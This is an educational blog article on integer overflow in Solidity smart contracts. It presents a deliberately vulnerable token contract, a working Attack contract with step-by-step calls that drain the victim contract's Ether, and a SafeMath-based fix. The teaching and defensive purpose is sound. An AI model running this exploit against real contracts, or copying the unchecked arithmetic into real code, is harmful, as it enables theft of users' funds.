Contents

Solidity Smart Contract Security By Example #06: Integer Overflow


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Integer overflow might be one of the most commonly known issues in the smart contract security field. This article will explore how the integer overflow happens and how to prevent it when developing your smart contracts. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/06_integer_overflow.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Vulnerability


The following presents the InsecureMoonToken contract that allows a user to buy or sell MOON tokens. The MOON is a non-divisible token (token decimals = 0) pegged with 1 Ether. In other words, 1 MOON token will always have a fixed value of 1 Ether. Therefore, you can buy or sell 1, 2, 3, or 46 tokens but not 33.5.

Exactly, the InsecureMoonToken contract is vulnerable to integer overflow. Can you catch up on the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity 0.6.12;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    function buy(uint256 _tokenToBuy) external payable {
        require(
            msg.value == _tokenToBuy * TOKEN_PRICE, 
            "Ether received and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _tokenToBuy;
    }

    function sell(uint256 _tokenToSell) external {
        require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");

        userBalances[msg.sender] -= _tokenToSell;

        (bool success, ) = msg.sender.call{value: _tokenToSell * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureMoonToken.sol


The integer overflow occurs in line 16 in the buy function.

Consider the case that an attacker inputs some tremendous amount of _tokenToBuy into the buy function. What would happen?

Figure 1. How the overflow occurs

Figure 1. How the overflow occurs


Figure 1 draws on how the overflow occurs. In the case of 2 * 2²⁵⁵, the computed value would circle back to 0, as you can see.

Consider the require(msg.value == _tokenToBuy * TOKEN_PRICE, “Ether received and Token amount to buy mismatch”); statement. With the overflow, an attacker can buy a large amount of MOON tokens (_tokenToBuy) by spending only a few Ethers (msg.value).

Moreover, the attacker can even steal all Ethers locked in the InsecureMoonToken contract with a single sell transaction. OMG! 🙀

Possible Attacks

  1. Attacker balance manipulation

  2. Stealing all Ethers in a single transaction


.    .    .

The Attack


The following is the Attack contract in which an attacker can steal Ethers locked in the InsecureMoonToken contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity 0.6.12;

interface IMoonToken {
    function buy(uint256 _tokenToBuy) external payable;
    function sell(uint256 _tokenToSell) external;
    function getEtherBalance() external view returns (uint256);
}

contract Attack {
    uint256 private constant MAX_UINT256 = type(uint256).max;
    uint256 public constant TOKEN_PRICE = 1 ether;

    IMoonToken public immutable moonToken;

    constructor(IMoonToken _moonToken) public {
        moonToken = _moonToken;
    }

    receive() external payable {}

    function calculateTokenToBuy() public pure returns (uint256) {
        // Calculate an amount of tokens that makes an integer overflow
        return MAX_UINT256 / TOKEN_PRICE + 1;
    }

    function getEthersRequired() public pure returns (uint256) {
        uint256 amountToBuy = calculateTokenToBuy();

        // Ether (in Wei) required to submit to invoke the attackBuy() function
        return amountToBuy * TOKEN_PRICE;
    }

    function attackBuy() external payable {
        require(getEthersRequired() == msg.value, "Ether received mismatch");
        uint256 amountToBuy = calculateTokenToBuy();
        moonToken.buy{value: msg.value}(amountToBuy);
    }

    function calculateTokenToSell() public view returns (uint256) {
        // Calculate the maximum Ethers that can drain out
        return moonToken.getEtherBalance() / TOKEN_PRICE;
    }

    // Maximum Ethers that can drain out = moonToken.balance / 10 ** 18 only,
    // since moonToken.decimals = 0 and 1 token = 1 Ether always
    // (The token is non-divisible. You can buy/sell 1, 2, 3, or 46 tokens but not 33.5.)
    function attackSell() external {
        uint256 amountToSell = calculateTokenToSell();
        moonToken.sell(amountToSell);
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Attack.sol


To exploit the InsecureMoonToken, an attacker has to perform the following actions:

  1. Call: ethersRequired = attack.getEthersRequired()
    To calculate the number of Ethers required to complete a “buy” attack.

  2. Call: attack.attackBuy() and supplies the ethersRequired
    To exploit the overflow — spending a few Ethers but taking vast MOON tokens in return.

  3. Call: attack.attackSell()
    To steal Ethers locked in the InsecureMoonToken contract.


Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker could steal 30 Ethers (10 and 20 Ethers were deposited by User1 and User2, respectively) by spending only 0.415 Ethers in exchange. 🤑

Another result of the attack, furthermore, the Attack contract’s balance recorded by the InsecureMoonToken was manipulated enormously. 😈

Note that you may notice that the 0.415 Ethers deposited by the attacker were locked and could not withdraw any longer since the MOON is a non-divisible token with 0 decimals. In other words, you cannot sell 0.415 MOONs for 0.415 Ethers.

In fact, the attacker can do some other trick by submitting another 0.585 Ethers to lock into the contract. This way, the attacker could withdraw 1 Ether being locked by exchanging it with 1 MOON 😎. Surely, we will explain that trick in the future article of this series. Stay tuned! 🤳


.    .    .

The Solutions


There are two preventive solutions to fix the overflow issue. 👨‍🔧

  1. Applying the standard OpenZeppelin’s SafeMath library for arithmetic operations (for the Solidity below v0.8)

  2. Using the Solidity v0.8+ (Solidity v0.8+ came up with the built-in underflow and overflow detection mechanism on arithmetic operations)


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pragma solidity 0.6.12;

// Simplified SafeMath
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
}

contract FixedMoonToken {
    using SafeMath for uint256;
    
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    function buy(uint256 _tokenToBuy) external payable {
        require(
            msg.value == _tokenToBuy.mul(TOKEN_PRICE),  // FIX: Apply SafeMath
            "Ether received and Token amount to buy mismatch"
        );

        userBalances[msg.sender] = userBalances[msg.sender].add(_tokenToBuy);  // FIX: Apply SafeMath
    }

    function sell(uint256 _tokenToSell) external {
        require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");

        userBalances[msg.sender] = userBalances[msg.sender].sub(_tokenToSell);  // FIX: Apply SafeMath

        (bool success, ) = msg.sender.call{value: _tokenToSell.mul(TOKEN_PRICE)}("");  // FIX: Apply SafeMath
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
FixedMoonToken.sol


The FixedMoonToken contract above is the fixed version of the InsecureMoonToken. The contract applies the SafeMath library to prevent any underflow or overflow issues in lines 46, 50, 56, and 58.

The library used in the code is just a simplified version for brevity’s sake. Please refer to this link for the latest OpenZeppelin’s SafeMath library.


.    .    .

Summary


In this article, you have discovered the integer overflow vulnerability in the smart contract, how an attacker exploits it, and the solutions to fix the issue. We hope you have learned something interesting. And, see you in the following articles.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/06_integer_overflow.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.